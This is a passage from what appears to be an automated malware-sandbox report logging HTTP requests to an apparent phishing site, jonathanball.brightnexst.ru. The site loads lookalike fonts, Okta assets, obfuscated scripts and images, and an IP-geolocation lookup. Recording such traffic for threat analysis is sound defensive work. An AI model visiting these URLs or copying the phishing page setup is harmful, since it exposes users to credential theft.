zstdAccept-Language: en-US,en;q=0.9
                  Source: global trafficHTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
                  Source: global trafficHTTP traffic detected: GET /GDSherpa-vf.woff2 HTTP/1.1Host: jonathanball.brightnexst.ruConnection: keep-aliveOrigin: https://jonathanball.brightnexst.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://jonathanball.brightnexst.ru/oegdnftbpxyulkgtvanN9N41RZV5GCG350G7S?EAVIXUHOLSLGJGTBNCNBFALBBZGERAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjhEeEh1UmpxUVkrOVJORXg3emNHZ2c9PSIsInZhbHVlIjoiSjhXY0dlNWcrWGJ6S0xSOU1kWnRxaFhTUXBRNWh1R0YranhxYkNrbjNWMEVnNGNDTndXTDJxdloxdU9jMDJnbzFyaHZRT1FiYllIcE82MXpSTFFtdGtwNU9NSUFQRlEwUzVGTDBoY2xER3lSOEJtdjZmUWtuRHF3NndvMVZoTU4iLCJtYWMiOiJkZjM0NzE3MWZjYmJlNDVmYWZlMjQzYTg5OTc2YWIwYzJiYzhjMDY1YjcyODY1NTlkZjZkOTdhYzIyODczYTY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFvdzBRTU5IUGU3WmVaUVpoK3ZXZlE9PSIsInZhbHVlIjoiUjN6dk9qeEVDUGVpUElzQzJvc1pyS3Zua2xUV0dWdzhpTGJLTjd1aVRuZ1E0eU5tMmMxZlNMU05PQzZ2Zkl6dFRUcEUvSm13TjNRYU9SN3ZPaVg2TjVKSFJUTnJzdXVXa21LNkEwZXpIeURxZkRwc0hobHNFenhWV1lxc0NmRW0iLCJtYWMiOiJlYTNiMTNhZDE1YWY2YThiZmQ2Y2M1ZDhhM2Q3MDQzYTQ0OTEyN2FlZjIxZjk2OGJkYTI1OWY4NDQ3MThkNjkxIiwidGFnIjoiIn0%3D
                  Source: global trafficHTTP traffic detected: GET /GDSherpa-vf2.woff2 HTTP/1.1Host: jonathanball.brightnexst.ruConnection: keep-aliveOrigin: https://jonathanball.brightnexst.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://jonathanball.brightnexst.ru/oegdnftbpxyulkgtvanN9N41RZV5GCG350G7S?EAVIXUHOLSLGJGTBNCNBFALBBZGERAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjhEeEh1UmpxUVkrOVJORXg3emNHZ2c9PSIsInZhbHVlIjoiSjhXY0dlNWcrWGJ6S0xSOU1kWnRxaFhTUXBRNWh1R0YranhxYkNrbjNWMEVnNGNDTndXTDJxdloxdU9jMDJnbzFyaHZRT1FiYllIcE82MXpSTFFtdGtwNU9NSUFQRlEwUzVGTDBoY2xER3lSOEJtdjZmUWtuRHF3NndvMVZoTU4iLCJtYWMiOiJkZjM0NzE3MWZjYmJlNDVmYWZlMjQzYTg5OTc2YWIwYzJiYzhjMDY1YjcyODY1NTlkZjZkOTdhYzIyODczYTY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFvdzBRTU5IUGU3WmVaUVpoK3ZXZlE9PSIsInZhbHVlIjoiUjN6dk9qeEVDUGVpUElzQzJvc1pyS3Zua2xUV0dWdzhpTGJLTjd1aVRuZ1E0eU5tMmMxZlNMU05PQzZ2Zkl6dFRUcEUvSm13TjNRYU9SN3ZPaVg2TjVKSFJUTnJzdXVXa21LNkEwZXpIeURxZkRwc0hobHNFenhWV1lxc0NmRW0iLCJtYWMiOiJlYTNiMTNhZDE1YWY2YThiZmQ2Y2M1ZDhhM2Q3MDQzYTQ0OTEyN2FlZjIxZjk2OGJkYTI1OWY4NDQ3MThkNjkxIiwidGFnIjoiIn0%3D
                  Source: global trafficHTTP traffic detected: GET /56X5bJjmGXkBMrbGa5WdAgh7eMeFYHh89110 HTTP/1.1Host: jonathanball.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://jonathanball.brightnexst.ru/oegdnftbpxyulkgtvanN9N41RZV5GCG350G7S?EAVIXUHOLSLGJGTBNCNBFALBBZGERAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjhEeEh1UmpxUVkrOVJORXg3emNHZ2c9PSIsInZhbHVlIjoiSjhXY0dlNWcrWGJ6S0xSOU1kWnRxaFhTUXBRNWh1R0YranhxYkNrbjNWMEVnNGNDTndXTDJxdloxdU9jMDJnbzFyaHZRT1FiYllIcE82MXpSTFFtdGtwNU9NSUFQRlEwUzVGTDBoY2xER3lSOEJtdjZmUWtuRHF3NndvMVZoTU4iLCJtYWMiOiJkZjM0NzE3MWZjYmJlNDVmYWZlMjQzYTg5OTc2YWIwYzJiYzhjMDY1YjcyODY1NTlkZjZkOTdhYzIyODczYTY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFvdzBRTU5IUGU3WmVaUVpoK3ZXZlE9PSIsInZhbHVlIjoiUjN6dk9qeEVDUGVpUElzQzJvc1pyS3Zua2xUV0dWdzhpTGJLTjd1aVRuZ1E0eU5tMmMxZlNMU05PQzZ2Zkl6dFRUcEUvSm13TjNRYU9SN3ZPaVg2TjVKSFJUTnJzdXVXa21LNkEwZXpIeURxZkRwc0hobHNFenhWV1lxc0NmRW0iLCJtYWMiOiJlYTNiMTNhZDE1YWY2YThiZmQ2Y2M1ZDhhM2Q3MDQzYTQ0OTEyN2FlZjIxZjk2OGJkYTI1OWY4NDQ3MThkNjkxIiwidGFnIjoiIn0%3D
                  Source: global trafficHTTP traffic detected: GET /wxOq0IetkuWlrtwBlstolvJEewJ4n12130 HTTP/1.1Host: jonathanball.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://jonathanball.brightnexst.ru/oegdnftbpxyulkgtvanN9N41RZV5GCG350G7S?EAVIXUHOLSLGJGTBNCNBFALBBZGERAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjhEeEh1UmpxUVkrOVJORXg3emNHZ2c9PSIsInZhbHVlIjoiSjhXY0dlNWcrWGJ6S0xSOU1kWnRxaFhTUXBRNWh1R0YranhxYkNrbjNWMEVnNGNDTndXTDJxdloxdU9jMDJnbzFyaHZRT1FiYllIcE82MXpSTFFtdGtwNU9NSUFQRlEwUzVGTDBoY2xER3lSOEJtdjZmUWtuRHF3NndvMVZoTU4iLCJtYWMiOiJkZjM0NzE3MWZjYmJlNDVmYWZlMjQzYTg5OTc2YWIwYzJiYzhjMDY1YjcyODY1NTlkZjZkOTdhYzIyODczYTY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFvdzBRTU5IUGU3WmVaUVpoK3ZXZlE9PSIsInZhbHVlIjoiUjN6dk9qeEVDUGVpUElzQzJvc1pyS3Zua2xUV0dWdzhpTGJLTjd1aVRuZ1E0eU5tMmMxZlNMU05PQzZ2Zkl6dFRUcEUvSm13TjNRYU9SN3ZPaVg2TjVKSFJUTnJzdXVXa21LNkEwZXpIeURxZkRwc0hobHNFenhWV1lxc0NmRW0iLCJtYWMiOiJlYTNiMTNhZDE1YWY2YThiZmQ2Y2M1ZDhhM2Q3MDQzYTQ0OTEyN2FlZjIxZjk2OGJkYTI1OWY4NDQ3MThkNjkxIiwidGFnIjoiIn0%3D
                  Source: global trafficHTTP traffic detected: GET /klRm74fmpBtRWD65MrIWW1hJGcWr1cNPXpJ194bKRvijL6FOkRdZuAhznyonT0ErkUz6yZsuv220 HTTP/1.1Host: jonathanball.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://jonathanball.brightnexst.ru/oegdnftbpxyulkgtvanN9N41RZV5GCG350G7S?EAVIXUHOLSLGJGTBNCNBFALBBZGERAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjhEeEh1UmpxUVkrOVJORXg3emNHZ2c9PSIsInZhbHVlIjoiSjhXY0dlNWcrWGJ6S0xSOU1kWnRxaFhTUXBRNWh1R0YranhxYkNrbjNWMEVnNGNDTndXTDJxdloxdU9jMDJnbzFyaHZRT1FiYllIcE82MXpSTFFtdGtwNU9NSUFQRlEwUzVGTDBoY2xER3lSOEJtdjZmUWtuRHF3NndvMVZoTU4iLCJtYWMiOiJkZjM0NzE3MWZjYmJlNDVmYWZlMjQzYTg5OTc2YWIwYzJiYzhjMDY1YjcyODY1NTlkZjZkOTdhYzIyODczYTY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFvdzBRTU5IUGU3WmVaUVpoK3ZXZlE9PSIsInZhbHVlIjoiUjN6dk9qeEVDUGVpUElzQzJvc1pyS3Zua2xUV0dWdzhpTGJLTjd1aVRuZ1E0eU5tMmMxZlNMU05PQzZ2Zkl6dFRUcEUvSm13TjNRYU9SN3ZPaVg2TjVKSFJUTnJzdXVXa21LNkEwZXpIeURxZkRwc0hobHNFenhWV1lxc0NmRW0iLCJtYWMiOiJlYTNiMTNhZDE1YWY2YThiZmQ2Y2M1ZDhhM2Q3MDQzYTQ0OTEyN2FlZjIxZjk2OGJkYTI1OWY4NDQ3MThkNjkxIiwidGFnIjoiIn0%3D
                  Source: global trafficHTTP traffic detected: GET /ijMF5q6GR6pPSfidW9tT189FWiBOdTVCQzqgHato21Tzoplz44RJYstU5GlnfC3HS1ab227 HTTP/1.1Host: jonathanball.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://jonathanball.brightnexst.ru/oegdnftbpxyulkgtvanN9N41RZV5GCG350G7S?EAVIXUHOLSLGJGTBNCNBFALBBZGERAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjhEeEh1UmpxUVkrOVJORXg3emNHZ2c9PSIsInZhbHVlIjoiSjhXY0dlNWcrWGJ6S0xSOU1kWnRxaFhTUXBRNWh1R0YranhxYkNrbjNWMEVnNGNDTndXTDJxdloxdU9jMDJnbzFyaHZRT1FiYllIcE82MXpSTFFtdGtwNU9NSUFQRlEwUzVGTDBoY2xER3lSOEJtdjZmUWtuRHF3NndvMVZoTU4iLCJtYWMiOiJkZjM0NzE3MWZjYmJlNDVmYWZlMjQzYTg5OTc2YWIwYzJiYzhjMDY1YjcyODY1NTlkZjZkOTdhYzIyODczYTY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFvdzBRTU5IUGU3WmVaUVpoK3ZXZlE9PSIsInZhbHVlIjoiUjN6dk9qeEVDUGVpUElzQzJvc1pyS3Zua2xUV0dWdzhpTGJLTjd1aVRuZ1E0eU5tMmMxZlNMU05PQzZ2Zkl6dFRUcEUvSm13TjNRYU9SN3ZPaVg2TjVKSFJUTnJzdXVXa21LNkEwZXpIeURxZkRwc0hobHNFenhWV1lxc0NmRW0iLCJtYWMiOiJlYTNiMTNhZDE1YWY2YThiZmQ2Y2M1ZDhhM2Q3MDQzYTQ0OTEyN2FlZjIxZjk2OGJkYTI1OWY4NDQ3MThkNjkxIiwidGFnIjoiIn0%3D
                  Source: global trafficHTTP traffic detected: GET /qrJwdR1NxSQXnL1OWwjVhdWEzkvaghVanTmGgjgvB67131 HTTP/1.1Host: jonathanball.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://jonathanball.brightnexst.ru/oegdnftbpxyulkgtvanN9N41RZV5GCG350G7S?EAVIXUHOLSLGJGTBNCNBFALBBZGERAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjhEeEh1UmpxUVkrOVJORXg3emNHZ2c9PSIsInZhbHVlIjoiSjhXY0dlNWcrWGJ6S0xSOU1kWnRxaFhTUXBRNWh1R0YranhxYkNrbjNWMEVnNGNDTndXTDJxdloxdU9jMDJnbzFyaHZRT1FiYllIcE82MXpSTFFtdGtwNU9NSUFQRlEwUzVGTDBoY2xER3lSOEJtdjZmUWtuRHF3NndvMVZoTU4iLCJtYWMiOiJkZjM0NzE3MWZjYmJlNDVmYWZlMjQzYTg5OTc2YWIwYzJiYzhjMDY1YjcyODY1NTlkZjZkOTdhYzIyODczYTY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFvdzBRTU5IUGU3WmVaUVpoK3ZXZlE9PSIsInZhbHVlIjoiUjN6dk9qeEVDUGVpUElzQzJvc1pyS3Zua2xUV0dWdzhpTGJLTjd1aVRuZ1E0eU5tMmMxZlNMU05PQzZ2Zkl6dFRUcEUvSm13TjNRYU9SN3ZPaVg2TjVKSFJUTnJzdXVXa21LNkEwZXpIeURxZkRwc0hobHNFenhWV1lxc0NmRW0iLCJtYWMiOiJlYTNiMTNhZDE1YWY2YThiZmQ2Y2M1ZDhhM2Q3MDQzYTQ0OTEyN2FlZjIxZjk2OGJkYTI1OWY4NDQ3MThkNjkxIiwidGFnIjoiIn0%3D
                  Source: global trafficHTTP traffic detected: GET /klRm74fmpBtRWD65MrIWW1hJGcWr1cNPXpJ194bKRvijL6FOkRdZuAhznyonT0ErkUz6yZsuv220 HTTP/1.1Host: jonathanball.brightnexst.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjhEeEh1UmpxUVkrOVJORXg3emNHZ2c9PSIsInZhbHVlIjoiSjhXY0dlNWcrWGJ6S0xSOU1kWnRxaFhTUXBRNWh1R0YranhxYkNrbjNWMEVnNGNDTndXTDJxdloxdU9jMDJnbzFyaHZRT1FiYllIcE82MXpSTFFtdGtwNU9NSUFQRlEwUzVGTDBoY2xER3lSOEJtdjZmUWtuRHF3NndvMVZoTU4iLCJtYWMiOiJkZjM0NzE3MWZjYmJlNDVmYWZlMjQzYTg5OTc2YWIwYzJiYzhjMDY1YjcyODY1NTlkZjZkOTdhYzIyODczYTY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFvdzBRTU5IUGU3WmVaUVpoK3ZXZlE9PSIsInZhbHVlIjoiUjN6dk9qeEVDUGVpUElzQzJvc1pyS3Zua2xUV0dWdzhpTGJLTjd1aVRuZ1E0eU5tMmMxZlNMU05PQzZ2Zkl6dFRUcEUvSm13TjNRYU9SN3ZPaVg2TjVKSFJUTnJzdXVXa21LNkEwZXpIeURxZkRwc0hobHNFenhWV1lxc0NmRW0iLCJtYWMiOiJlYTNiMTNhZDE1YWY2YThiZmQ2Y2M1ZDhhM2Q3MDQzYTQ0OTEyN2FlZjIxZjk2OGJkYTI1OWY4NDQ3MThkNjkxIiwidGFnIjoiIn0%3D
                  Source: global trafficHTTP traffic detected: GET /efYpQPhMgWn0RvQ1Fd6q9RiuQ2bxfKijJoOcHOTWOJoOJ7L90150 HTTP/1.1Host: jonathanball.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://jonathanball.brightnexst.ru/oegdnftbpxyulkgtvanN9N41RZV5GCG350G7S?EAVIXUHOLSLGJGTBNCNBFALBBZGERAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjhEeEh1UmpxUVkrOVJORXg3emNHZ2c9PSIsInZhbHVlIjoiSjhXY0dlNWcrWGJ6S0xSOU1kWnRxaFhTUXBRNWh1R0YranhxYkNrbjNWMEVnNGNDTndXTDJxdloxdU9jMDJnbzFyaHZRT1FiYllIcE82MXpSTFFtdGtwNU9NSUFQRlEwUzVGTDBoY2xER3lSOEJtdjZmUWtuRHF3NndvMVZoTU4iLCJtYWMiOiJkZjM0NzE3MWZjYmJlNDVmYWZlMjQzYTg5OTc2YWIwYzJiYzhjMDY1YjcyODY1NTlkZjZkOTdhYzIyODczYTY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFvdzBRTU5IUGU3WmVaUVpoK3ZXZlE9PSIsInZhbHVlIjoiUjN6dk9qeEVDUGVpUElzQzJvc1pyS3Zua2xUV0dWdzhpTGJLTjd1aVRuZ1E0eU5tMmMxZlNMU05PQzZ2Zkl6dFRUcEUvSm13TjNRYU9SN3ZPaVg2TjVKSFJUTnJzdXVXa21LNkEwZXpIeURxZkRwc0hobHNFenhWV1lxc0NmRW0iLCJtYWMiOiJlYTNiMTNhZDE1YWY2YThiZmQ2Y2M1ZDhhM2Q3MDQzYTQ0OTEyN2FlZjIxZjk2OGJkYTI1OWY4NDQ3MThkNjkxIiwidGFnIjoiIn0%3D
                  Source: global trafficHTTP traffic detected: GET /wxOq0IetkuWlrtwBlstolvJEewJ4n12130 HTTP/1.1Host: jonathanball.brightnexst.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjhEeEh1UmpxUVkrOVJORXg3emNHZ2c9PSIsInZhbHVlIjoiSjhXY0dlNWcrWGJ6S0xSOU1kWnRxaFhTUXBRNWh1R0YranhxYkNrbjNWMEVnNGNDTndXTDJxdloxdU9jMDJnbzFyaHZRT1FiYllIcE82MXpSTFFtdGtwNU9NSUFQRlEwUzVGTDBoY2xER3lSOEJtdjZmUWtuRHF3NndvMVZoTU4iLCJtYWMiOiJkZjM0NzE3MWZjYmJlNDVmYWZlMjQzYTg5OTc2YWIwYzJiYzhjMDY1YjcyODY1NTlkZjZkOTdhYzIyODczYTY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFvdzBRTU5IUGU3WmVaUVpoK3ZXZlE9PSIsInZhbHVlIjoiUjN6dk9qeEVDUGVpUElzQzJvc1pyS3Zua2xUV0dWdzhpTGJLTjd1aVRuZ1E0eU5tMmMxZlNMU05PQzZ2Zkl6dFRUcEUvSm13TjNRYU9SN3ZPaVg2TjVKSFJUTnJzdXVXa21LNkEwZXpIeURxZkRwc0hobHNFenhWV1lxc0NmRW0iLCJtYWMiOiJlYTNiMTNhZDE1YWY2YThiZmQ2Y2M1ZDhhM2Q3MDQzYTQ0OTEyN2FlZjIxZjk2OGJkYTI1OWY4NDQ3MThkNjkxIiwidGFnIjoiIn0%3D
                  Source: global trafficHTTP traffic detected: GET /ijb99Z88QXsLLxmHlFDnw8wxxMfYWaMC27UMRy78165 HTTP/1.1Host: jonathanball.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://jonathanball.brightnexst.ru/oegdnftbpxyulkgtvanN9N41RZV5GCG350G7S?EAVIXUHOLSLGJGTBNCNBFALBBZGERAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjhEeEh1UmpxUVkrOVJORXg3emNHZ2c9PSIsInZhbHVlIjoiSjhXY0dlNWcrWGJ6S0xSOU1kWnRxaFhTUXBRNWh1R0YranhxYkNrbjNWMEVnNGNDTndXTDJxdloxdU9jMDJnbzFyaHZRT1FiYllIcE82MXpSTFFtdGtwNU9NSUFQRlEwUzVGTDBoY2xER3lSOEJtdjZmUWtuRHF3NndvMVZoTU4iLCJtYWMiOiJkZjM0NzE3MWZjYmJlNDVmYWZlMjQzYTg5OTc2YWIwYzJiYzhjMDY1YjcyODY1NTlkZjZkOTdhYzIyODczYTY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFvdzBRTU5IUGU3WmVaUVpoK3ZXZlE9PSIsInZhbHVlIjoiUjN6dk9qeEVDUGVpUElzQzJvc1pyS3Zua2xUV0dWdzhpTGJLTjd1aVRuZ1E0eU5tMmMxZlNMU05PQzZ2Zkl6dFRUcEUvSm13TjNRYU9SN3ZPaVg2TjVKSFJUTnJzdXVXa21LNkEwZXpIeURxZkRwc0hobHNFenhWV1lxc0NmRW0iLCJtYWMiOiJlYTNiMTNhZDE1YWY2YThiZmQ2Y2M1ZDhhM2Q3MDQzYTQ0OTEyN2FlZjIxZjk2OGJkYTI1OWY4NDQ3MThkNjkxIiwidGFnIjoiIn0%3D
                  Source: global trafficHTTP traffic detected: GET /wxm5QTUz7nCqWFY5sr1i48RpN8kNrsSPDrY0n1P6bFk0UdfWsQ7v90178 HTTP/1.1Host: jonathanball.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://jonathanball.brightnexst.ru/oegdnftbpxyulkgtvanN9N41RZV5GCG350G7S?EAVIXUHOLSLGJGTBNCNBFALBBZGERAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjhEeEh1UmpxUVkrOVJORXg3emNHZ2c9PSIsInZhbHVlIjoiSjhXY0dlNWcrWGJ6S0xSOU1kWnRxaFhTUXBRNWh1R0YranhxYkNrbjNWMEVnNGNDTndXTDJxdloxdU9jMDJnbzFyaHZRT1FiYllIcE82MXpSTFFtdGtwNU9NSUFQRlEwUzVGTDBoY2xER3lSOEJtdjZmUWtuRHF3NndvMVZoTU4iLCJtYWMiOiJkZjM0NzE3MWZjYmJlNDVmYWZlMjQzYTg5OTc2YWIwYzJiYzhjMDY1YjcyODY1NTlkZjZkOTdhYzIyODczYTY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InFvdzBRTU5IUGU3WmVaUVpoK3ZXZlE9PSIsInZhbHVlIjoiUjN6dk9qeEVDUGVpUElzQzJvc1pyS3Zua2xUV0dWdzhpTGJLTjd1aVRuZ1E0eU5tMmMxZlNMU05PQzZ2Zkl6dFRUcEUvSm13TjNRYU9SN3ZPaVg2TjVKSFJUTnJzdXVXa21LNkEwZXpIeURxZkRwc0hobHNFenhWV1lxc0NmRW0iLCJtYWMiOiJlYTNiMTNhZDE1YWY2YThiZmQ2Y2M1ZDhhM2Q3MDQzYTQ0OTEyN2FlZjIxZjk2OGJkYTI1OWY4NDQ3MThkNjkxIiwidGFnIjoiIn0%3D
                  Source: global trafficHTTP traffic detected: GET /v1/ip/geo.json HTTP/1.1Host: get.geojs.ioConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: application/json, text/javascript, */*; q=0.01sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Origin: https://jonathanball.brightnexst.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://jonathanball.brightnexst.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
                  Source: global trafficHTTP traffic detected: GET /opJRxGc2xy8ooEdQ2exZsxyvxEPWhh7x1zr4uISuvBhfs3VacaHPGmUsJcd195 HTTP/1.1Host: jonathanball.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://jonathanball.brightnexst.ru/oegdnftbpxyulkgtvanN9N41RZV5GCG350G7S?EAVIXUHOLSLGJGTBNCNBFALBBZGERAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjhEeEh1UmpxUVkrOVJORXg3emNHZ2c9PSIsInZhbHVlIjoiSjhXY0dlNWcrWGJ6S0xSOU1kWnRxaFhTUXBRNWh1R0YranhxYkNrbjNWMEVnNGNDTndXTDJxdloxdU9jMDJnbzFyaHZRT1FiYllIcE82MXpSTFFtdGtwNU9NSUFQRlEwUzVGTDBoY2xER3lSOEJtdjZmUWtuRHF3NndvMVZoTU4iLCJtYWMiOiJkZjM0NzE3MWZjYmJlNDVmYWZlMjQzYTg5OTc2YWIwYzJiYzhjMDY1YjcyODY1NTlkZjZkOTdhYzIyODczYTY0IiwidGFnIjoiIn0%3D; 